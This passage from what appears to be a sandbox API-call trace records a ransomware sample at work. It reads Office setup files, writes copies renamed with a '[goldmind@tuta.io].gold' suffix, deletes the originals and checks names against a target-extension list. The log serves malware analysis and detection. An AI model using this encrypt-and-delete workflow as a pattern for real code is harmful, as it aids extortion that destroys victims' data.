lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x16fc, lpOverlapped=0x0) returned 1 [0038.856] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1700, lpOverlapped=0x0) returned 1 [0038.857] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0038.857] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.857] SetEndOfFile (hFile=0x1b0) returned 1 [0038.857] CloseHandle (hObject=0x1b0) returned 1 [0038.858] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.858] SetEndOfFile (hFile=0x1f8) returned 1 [0038.858] CloseHandle (hObject=0x1f8) returned 1 [0038.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.859] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0038.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0038.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0038.859] lstrlenW (lpString=".doc") returned 4 [0038.859] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.859] lstrlenW (lpString=".docx") returned 5 [0038.859] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.859] lstrlenW (lpString=".pdf") returned 4 [0038.859] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.859] lstrlenW (lpString=".xls") returned 4 [0038.859] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.859] lstrlenW (lpString=".xlsx") returned 5 [0038.859] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.859] lstrlenW (lpString=".ppt") returned 4 [0038.859] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0038.859] lstrlenW (lpString=".zip") returned 4 [0038.859] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.859] lstrlenW (lpString=".rar") returned 4 [0038.859] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.859] lstrlenW (lpString=".bz2") returned 4 [0038.859] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.859] lstrlenW (lpString=".7z") returned 3 [0038.859] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0038.859] lstrlenW (lpString=".dbf") returned 4 [0038.859] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0038.859] lstrlenW (lpString=".1cd") returned 4 [0038.859] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0038.859] lstrlenW (lpString=".jpg") returned 4 [0038.859] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0038.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0038.860] lstrlenW (lpString=".doc") returned 4 [0038.860] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.860] lstrlenW (lpString=".docx") returned 5 [0038.860] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.860] lstrlenW (lpString=".pdf") returned 4 [0038.860] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.860] lstrlenW (lpString=".xls") returned 4 [0038.860] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.860] lstrlenW (lpString=".xlsx") returned 5 [0038.860] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.860] lstrlenW (lpString=".ppt") returned 4 [0038.860] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0038.860] lstrlenW (lpString=".zip") returned 4 [0038.860] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.860] lstrlenW (lpString=".rar") returned 4 [0038.860] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.860] lstrlenW (lpString=".bz2") returned 4 [0038.860] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.860] lstrlenW (lpString=".7z") returned 3 [0038.860] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0038.860] lstrlenW (lpString=".dbf") returned 4 [0038.860] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0038.860] lstrlenW (lpString=".1cd") returned 4 [0038.860] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0038.860] lstrlenW (lpString=".jpg") returned 4 [0038.860] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.860] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.860] lstrlenW (lpString="SETUP.XML") returned 9 [0038.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.860] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=31094) returned 1 [0038.860] CloseHandle (hObject=0x1f8) returned 1 [0038.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0038.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.861] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.861] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.862] GetLastError () returned 0x0 [0038.862] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x7976, lpOverlapped=0x0) returned 1 [0038.863] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x7980, lpOverlapped=0x0) returned 1 [0038.864] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0038.864] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.865] SetEndOfFile (hFile=0x1b0) returned 1 [0038.865] CloseHandle (hObject=0x1b0) returned 1 [0038.865] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.866] SetEndOfFile (hFile=0x1f8) returned 1 [0038.866] CloseHandle (hObject=0x1f8) returned 1 [0038.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.866] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0038.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0038.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0038.867] lstrlenW (lpString=".doc") returned 4 [0038.867] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.867] lstrlenW (lpString=".docx") returned 5 [0038.867] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.867] lstrlenW (lpString=".pdf") returned 4 [0038.867] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.867] lstrlenW (lpString=".xls") returned 4 [0038.867] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.867] lstrlenW (lpString=".xlsx") returned 5 [0038.867] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.867] lstrlenW (lpString=".ppt") returned 4 [0038.867] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0038.867] lstrlenW (lpString=".zip") returned 4 [0038.867] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.867] lstrlenW (lpString=".rar") returned 4 [0038.867] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.867] lstrlenW (lpString=".bz2") returned 4 [0038.867] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.867] lstrlenW (lpString=".7z") returned 3 [0038.867] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0038.867] lstrlenW (lpString=".dbf") returned 4 [0038.867] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0038.867] lstrlenW (lpString=".1cd") returned 4 [0038.867] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0038.867] lstrlenW (lpString=".jpg") returned 4 [0038.867] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0038.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0038.867] lstrlenW (lpString=".doc") returned 4 [0038.867] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.867] lstrlenW (lpString=".docx") returned 5 [0038.867] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.867] lstrlenW (lpString=".pdf") returned 4 [0038.867] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.867] lstrlenW (lpString=".xls") returned 4 [0038.867] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.868] lstrlenW (lpString=".xlsx") returned 5 [0038.868] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.868] lstrlenW (lpString=".ppt") returned 4 [0038.868] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0038.868] lstrlenW (lpString=".zip") returned 4 [0038.868] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.868] lstrlenW (lpString=".rar") returned 4 [0038.868] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.868] lstrlenW (lpString=".bz2") returned 4 [0038.868] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.868] lstrlenW (lpString=".7z") returned 3 [0038.868] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0038.868] lstrlenW (lpString=".dbf") returned 4 [0038.868] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0038.868] lstrlenW (lpString=".1cd") returned 4 [0038.868] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0038.868] lstrlenW (lpString=".jpg") returned 4 [0038.868] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.868] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.868] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0038.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.869] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1450) returned 1 [0038.869] CloseHandle (hObject=0x1f8) returned 1 [0038.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0038.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.869] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.869] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.870] GetLastError () returned 0x0 [0038.870] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5aa, lpOverlapped=0x0) returned 1 [0038.872] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0038.872] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0038.872] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf4, lpOverlapped=0x0) returned 1 [0038.872] SetEndOfFile (hFile=0x1b0) returned 1 [0038.872] CloseHandle (hObject=0x1b0) returned 1 [0038.873] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0038.873] SetEndOfFile (hFile=0x1f8) returned 1 [0038.874] CloseHandle (hObject=0x1f8) returned 1 [0038.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.874] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0038.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0038.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0038.874] lstrlenW (lpString=".doc") returned 4 [0038.874] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.874] lstrlenW (lpString=".docx") returned 5 [0038.874] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.874] lstrlenW (lpString=".pdf") returned 4 [0038.874] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.874] lstrlenW (lpString=".xls") returned 4 [0038.874] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.874] lstrlenW (lpString=".xlsx") returned 5 [0038.874] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.874] lstrlenW (lpString=".ppt") returned 4 [0038.874] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0038.875] lstrlenW (lpString=".zip") returned 4 [0038.875] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.875] lstrlenW (lpString=".rar") returned 4 [0038.875] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString=".bz2") returned 4 [0038.875] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString=".7z") returned 3 [0038.875] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0038.875] lstrlenW (lpString=".dbf") returned 4 [0038.875] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0038.875] lstrlenW (lpString=".1cd") returned 4 [0038.875] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0038.875] lstrlenW (lpString=".jpg") returned 4 [0038.875] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0038.875] lstrlenW (lpString=".doc") returned 4 [0038.875] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString=".docx") returned 5 [0038.875] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.875] lstrlenW (lpString=".pdf") returned 4 [0038.875] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString=".xls") returned 4 [0038.875] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString=".xlsx") returned 5 [0038.875] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.875] lstrlenW (lpString=".ppt") returned 4 [0038.875] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0038.875] lstrlenW (lpString=".zip") returned 4 [0038.875] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.875] lstrlenW (lpString=".rar") returned 4 [0038.875] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString=".bz2") returned 4 [0038.875] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString=".7z") returned 3 [0038.875] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0038.875] lstrlenW (lpString=".dbf") returned 4 [0038.875] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0038.875] lstrlenW (lpString=".1cd") returned 4 [0038.875] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0038.875] lstrlenW (lpString=".jpg") returned 4 [0038.875] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.875] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.876] lstrlenW (lpString="SETUP.XML") returned 9 [0038.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0038.876] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1608) returned 1 [0038.876] CloseHandle (hObject=0x1f8) returned 1 [0038.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0038.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.876] CreateFileW (lpFileName="C:\\Program Files\\Common 